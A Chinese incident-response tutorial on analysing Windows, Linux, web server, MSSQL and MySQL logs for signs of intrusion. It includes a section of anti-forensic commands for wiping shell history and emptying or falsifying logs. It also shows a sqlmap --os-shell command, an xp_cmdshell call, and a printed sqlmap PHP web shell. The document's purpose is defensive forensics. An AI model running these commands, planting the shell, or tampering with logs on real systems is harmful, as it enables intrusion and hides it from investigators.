应急响应之日志分析
学习一下应急响应之日志分析。
应急响应
Windows日志分析
0x01 Windows事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
系统日志
1 | 记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。 |
应用程序日志
1 | 包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。 |
安全日志
1 | 记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。 |
系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。
0X02 审核策略与事件查看器
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
PS:默认状态下,也会记录一些简单的日志,日志默认大小20M
设置1:开始 → 管理工具 → 本地安全策略 → 本地策略 → 审核策略,参考配置操作:
设置2:设置合理的日志属性,即日志最大大小、事件覆盖阀值等:
查看系统日志方法:
在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”
按 “Window+R“,输入 ”eventvwr.msc“ 也可以直接进入“事件查看器”
0x03 事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
事件ID | 说明 |
---|---|
4624 | 登录成功 |
4625 | 登录失败 |
4634 | 注销成功 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4720 | 创建用户 |
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
登录类型 | 描述 | 说明 |
---|---|---|
2 | 交互式登录(Interactive) | 用户在本地进行登录。 |
3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 |
4 | 批处理(Batch) | 通常表明某计划任务启动。 |
5 | 服务(Service) | 每种服务都被配置在某个特定的用户账号下运行。 |
7 | 解锁(Unlock) | 屏保解锁。 |
8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP。 |
9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序。 |
10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 |
11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |
关于更多EVENT ID,详见微软官方网站上找到了“Windows Vista 和 Windows Server 2008 中的安全事件的说明”。
案例1:可以利用eventlog事件来查看系统账号登录情况:
在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”;
在事件查看器中,单击“安全”,查看安全日志;
在安全日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选。
4624 –登录成功
4625 –登录失败
4634 – 注销成功
4647 – 用户启动的注销
4672 – 使用超级用户(如管理员)进行登录
我们输入事件ID:4625进行日志筛选,发现事件ID:4625,事件数175904,即用户登录失败了175904次,那么这台服务器管理员账号可能遭遇了暴力猜解。
案例2:可以利用eventlog事件来查看计算机开关机的记录:
1、在“开始”菜单上,依次指向“所有程序”、“管理工具”,然后单击“事件查看器”;
2、在事件查看器中,单击“系统”,查看系统日志;
3、在系统日志右侧操作中,点击“筛选当前日志”,输入事件ID进行筛选。
其中事件ID 6006 ID6005、 ID 6009就表示不同状态的机器的情况(开关机)。
6005 信息 EventLog 事件日志服务已启动。(开机)
6006 信息 EventLog 事件日志服务已停止。(关机)
6009 信息 EventLog 按ctrl、alt、delete键(非正常)关机
我们输入事件ID:6005-6006进行日志筛选,发现了两条在2018/7/6 17:53:51左右的记录,也就是我刚才对系统进行重启的时间。
0x04 日志分析工具
Log Parser
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/
基本查询结构
1 | Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx" |
使用Log Parser分析日志
1、查询登录成功的事件
1 | 登录成功的所有事件 |
2、查询登录失败的事件
1 | 登录失败的所有事件: |
3、系统历史开关机记录:
1 | LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006" |
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642
查询最近用户登录情况:
Event Log Explorer
Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。
下载地址:https://event-log-explorer.en.softonic.com/
参考链接:
Windows日志分析 https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ
Linux日志分析
0x00 前言
Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。 本文简介一下Linux系统日志及日志分析技巧。
0x01 日志简介
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/message | 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
/var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
比较重要的几个日志:
登录失败记录:/var/log/btmp //lastb
最后一次登录:/var/log/lastlog //lastlog
登录成功记录: /var/log/wtmp //last
登录日志记录:/var/log/secure
目前登录用户信息:/var/run/utmp //w、who、users
历史命令记录:history
仅清理当前用户: history -c
0x02 日志分析技巧
A、常用的shell命令
Linux下常用的shell命令如:find、grep 、egrep、awk、sed
小技巧:
1、grep显示前后几行信息:
1 | 标准unix/linux下的grep通过下面參数控制上下文: |
2、grep 查找含有某字符串的所有文件
1 | grep -rn "hello,world!" |
3、如何显示一个文件的某几行:
1 | cat input_file | tail -n +1000 | head -n 2000 |
4、find /etc -name init
//在目录/etc中查找文件init
5、只是显示/etc/passwd的账户
`cat /etc/passwd |awk -F ':' '{print $1}'`
//awk -F指定域分隔符为':',将记录按指定的域分隔符划分域,填充域,$0则表示所有域,$1表示第一个域,$n表示第n个域。
6、sed -i ‘153,$d’ .bash_history
删除历史操作记录,只保留前153行
B、日志分析技巧
A、/var/log/secure
1 | 1、定位有多少IP在爆破主机的root帐号: |
2、/var/log/yum.log
软件安装升级卸载日志:
1 | yum install gcc |
0x03 linux常用命令
find
find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:
- find . -name “*.c“
将当前目录及其子目录下所有最近 20 天内更新过的文件列出:
find . -ctime 20
-amin n : 在过去 n 分钟内被读取过
-anewer file : 比文件 file 更晚被读取过的文件
-atime n : 在过去 n 天内被读取过的文件
-cmin n : 在过去 n 分钟内被修改过
grep
grep 命令用于查找文件里符合条件的字符串。grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。
从文件内容查找匹配指定字符串的行:
- grep “被查找的字符串” 文件名
显示文件里匹配指定字串那行以及上下5行:
- grep -C 5 “被查找的字符串” 文件名
从文件内容查找与正则表达式匹配的行:# $ grep –e “正则表达式” 文件名
grep -r ‘flag{‘ /
egrep命令用于在文件内查找指定的字符串。egrep执行效果与”grep-E”相似,使用的语法及参数可参照grep指令,与grep的不同点在于解读字符串的方法。
- 查找当前目录下包含字符串“Linux”的文件 :
- egrep Linux *
awk
awk是一种处理文本文件的语言,是一个强大的文本分析工具。
过滤第一列大于2的行:
- awk ‘$1>2’ 文件名
过滤第一列等于2的行:
- awk ‘$1==2 {print $1,$3}’文件名
过滤第一列大于2并且第二列等于’Are’的行:
- awk ‘$1>2 && $2==”Are” {print $1,$2,$3}’文件名
grep “Accepted “ /var/log/文件| awk ‘{print $1,$2,$3,$9,$11}’
sed
sed 命令是利用脚本来处理文本文件。sed 可依照脚本的指令来处理、编辑文本文件。Sed 主要用来自动编辑一个或多个文件、简化对文件的反复操作、编写转换程序等。
sed 可以用行为单位进行部分数据的查找与替换:
- sed ‘s/要被取代的字串/新的字串/g’
将 testfile 文件中每行第一次出现的 oo 用字符串 kk 替换,然后将该文件内容输出到标准输出:
- sed -e ‘s/oo/kk/‘ testfile
删除历史操作记录,只保留前153行:
- sed -i ‘153,$d’ .bash_history
0x04 linux系统状态检测
软件安装包
通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了
- rpm -Va > rpm.log
如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是8位长字符串,每个字符都用以表示文件与RPM数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。 验证内容中的8个信息的具体内容如下:
1 | - S 文件大小是否改变 |
查看对外开放端口
1 | ss -tnlp |
用户
awk -F: ‘{if($3==0||$4==0)print $1}’ /etc/passwd
- 查看 UID\GID 为0的帐号
awk -F: ‘{if($7!=”/usr/sbin/nologin”)print $1}’ /etc/passwd
- 查看能够登录的帐号
lastlog
- 系统中所有用户最近一次登录信息
lastb
- 显示用户错误的登录列表
users
- 打印当前登录的用户,每个用户名对应一个登录会话。如果一个用户不止一个登录会话,其用户名显示相同次数
计划任务和启动项
1 | 没有安装 |
ls /etc/init.d
- 查看开机启动配置文件命令
runlevel
- 查看运行级别命令ls /etc/rc.d/rc[0~6].d
crontab -l
- 计划任务列表
ls -alh /var/spool/cron
- 默认编写的 crontab 文件会保存在 /var/spool/cron/用户名 下
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/crontab#查看定时任务
- 如:*/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件
cat /etc/anacrontab
1 | crontab -l 列出某个用户cron服务的详细内容 |
可疑文件
查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性,针对可疑文件查看创建修改时间。
find / -ctime -2 # 查找48小时内新增的文件
find ./ -mtime 0 -name “*.jsp” # 查找24小时内被修改的 JSP 文件
find / *.jsp -perm 4777 # 查找777的权限的jsp文件
ls -a /tmp # 查看临时目录
strings /usr/sbin/sshd | egrep ‘[1-9]{1,3}.[1-9]{1,3}.’ # 分析 sshd 文件,是否包括IP信息
0x05 linux日志清理
历史命令
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容zsh_history
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
日志文件
完全删除日志文件(下面任意一个即可)
cat /dev/null > filename
: > filename > filename
echo “” > filename
echo > filename
删除当天日志
- sed -i ‘/当天日期/‘d filename
篡改日志
将所有170.170.64.17ip替换为127.0.0.1
sed -i ‘s/170.170.64.17/127.0.0.1/g’
Web日志分析
ox01 Web日志
Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。
我们来看一条Apache的访问日志:
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。
本文通过介绍Web日志安全分析时的思路和常用的一些技巧。
0x02 日志分析技巧
在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。
第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。
第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展开分析。
常用分析工具:
Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。
Linux下,使用Shell命令组合查询分析。
Shell+Linux命令实现日志分析,一般结合grep、awk等命令等实现了几个常用的日志分析统计技巧。
Apache日志分析技巧:
1 | 1、列出当天访问次数最多的IP命令: |
0x03 日志分析案例
Web日志分析实例:通过nginx代理转发到内网某服务器,内网服务器某站点目录下被上传了多个图片木马,虽然II7下不能解析,但还是想找出谁通过什么路径上传的。
在这里,我们遇到了一个问题:由于设置了代理转发,只记录了代理服务器的ip,并没有记录访问者IP?这时候,如何去识别不同的访问者和攻击源呢?
这是管理员日志配置不当的问题,但好在我们可以通过浏览器指纹来定位不同的访问来源,还原攻击路径。
1、定位攻击源
首先访问图片木马的记录,只找到了一条,由于所有访问日志只记录了代理IP,并不能通过IP来还原攻击路径,这时候,可以利用浏览器指纹来定位。
浏览器指纹:
Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)
2、搜索相关日志记录
通过筛选与该浏览器指纹有关的日志记录,可以清晰地看到攻击者的攻击路径。
3、对找到的访问日志进行解读,攻击者大致的访问路径如下:
1 | A、攻击者访问首页和登录页 |
打开网站,访问Xzuser.aspx,确认攻击者通过该页面的进行文件上传了图片木马,同时,发现网站了存在越权访问漏洞,攻击者访问特定URL,无需登录即可进入后台界面。通过日志分析找到网站的漏洞位置并进行修复。
0x04 日志统计分析技巧
统计爬虫:
1 | grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq |
统计浏览器:
1 | cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100 |
IP 统计:
1 | grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10 |
统计网段:
1 | cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200 |
统计域名:
1 | cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more |
HTTP Status:
1 | cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more |
URL 统计:
1 | cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more |
文件流量统计:
1 | cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more |
URL访问量统计:
1 | cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more |
脚本运行速度:
查出运行速度最慢的脚本
1 | grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt |
IP, URL 抽取:
1 | # tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}' |
MSSQL日志分析
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
0x01 MSSQL日志分析
首先,MSSQL数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户登录进行审核。
登录到SQL Server Management Studio,依次点击 管理–SQL Server 日志
双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。
另外,MSSQ提供了一个工具SQL Server Profiler ,方便查找和发现SQL执行的效率和语句问题。
日志分析案例:
在日志文件查看器中,选择筛选,在筛选设置中源设置为“登录”,应用筛选器,确定。
筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远程登录时用户使用的IP地址。
如下图:客户端:192.168.204.1进行尝试弱口令登录,并发现其中有一条登录成功的记录。
0x02 SQL注入入侵痕迹
在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的–os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
1、构造一个SQL注入点,开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.asp?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP通讯过程如下:
创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、数据库表检查
2、检查xp_cmdshell等存储过程
xp_cmdshell在mssql2005之后的版本中是默认禁止的,查看xp_cmdshell是否被启用。
`Exec master.dbo.xp_cmdshell ‘whoami’
3、需要结合web日志,通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过sql注入漏洞攻击事件。
MySQL日志分析
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
0x01 Mysql日志分析
general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
1 | 1、查看log配置信息 |
比如,当我访问 /test.php?id=1,此时我们得到这样的日志:
1 | 190604 14:46:14 14 Connect root@localhost on |
我们按列来解析一下:
1 | 第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。 |
0x02 登录成功/失败
我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。
MySQL中的log记录是这样子:
1 | Time Id Command Argument |
你知道在这个口令猜解过程中,哪个是成功的吗?
利用爆破工具,一个口令猜解成功的记录是这样子的:
1 | 190601 22:03:20 100 Connect root@192.168.204.1 on |
但是,如果你是用其他方式,可能会有一点点不一样的哦。
Navicat for MySQL登录:
1 | 190601 22:14:07 106 Connect root@192.168.204.1 on |
命令行登录:
1 | 190601 22:17:25 111 Connect root@localhost on |
这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。
登录失败的记录:
1 | 102 Connect mysql@192.168.204.1 on |
利用shell命令进行简单的分析:
1 | #有哪些IP在爆破? |
在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func
0x03 SQL注入入侵痕迹
在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的–os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
1、构造一个SQL注入点,开启Burp监听8080端口
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
HTTP通讯过程如下:
创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。
tmpbwyov.php:
&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "".$w."";?>
`
创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。
检查方法:
1、检查网站目录下,是否存在一些木马文件:
2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件
mysql\lib\plugin
c:/windows/system32/wbem/mof/
检查函数是否删除
select * from mysql.func
3、结合web日志分析。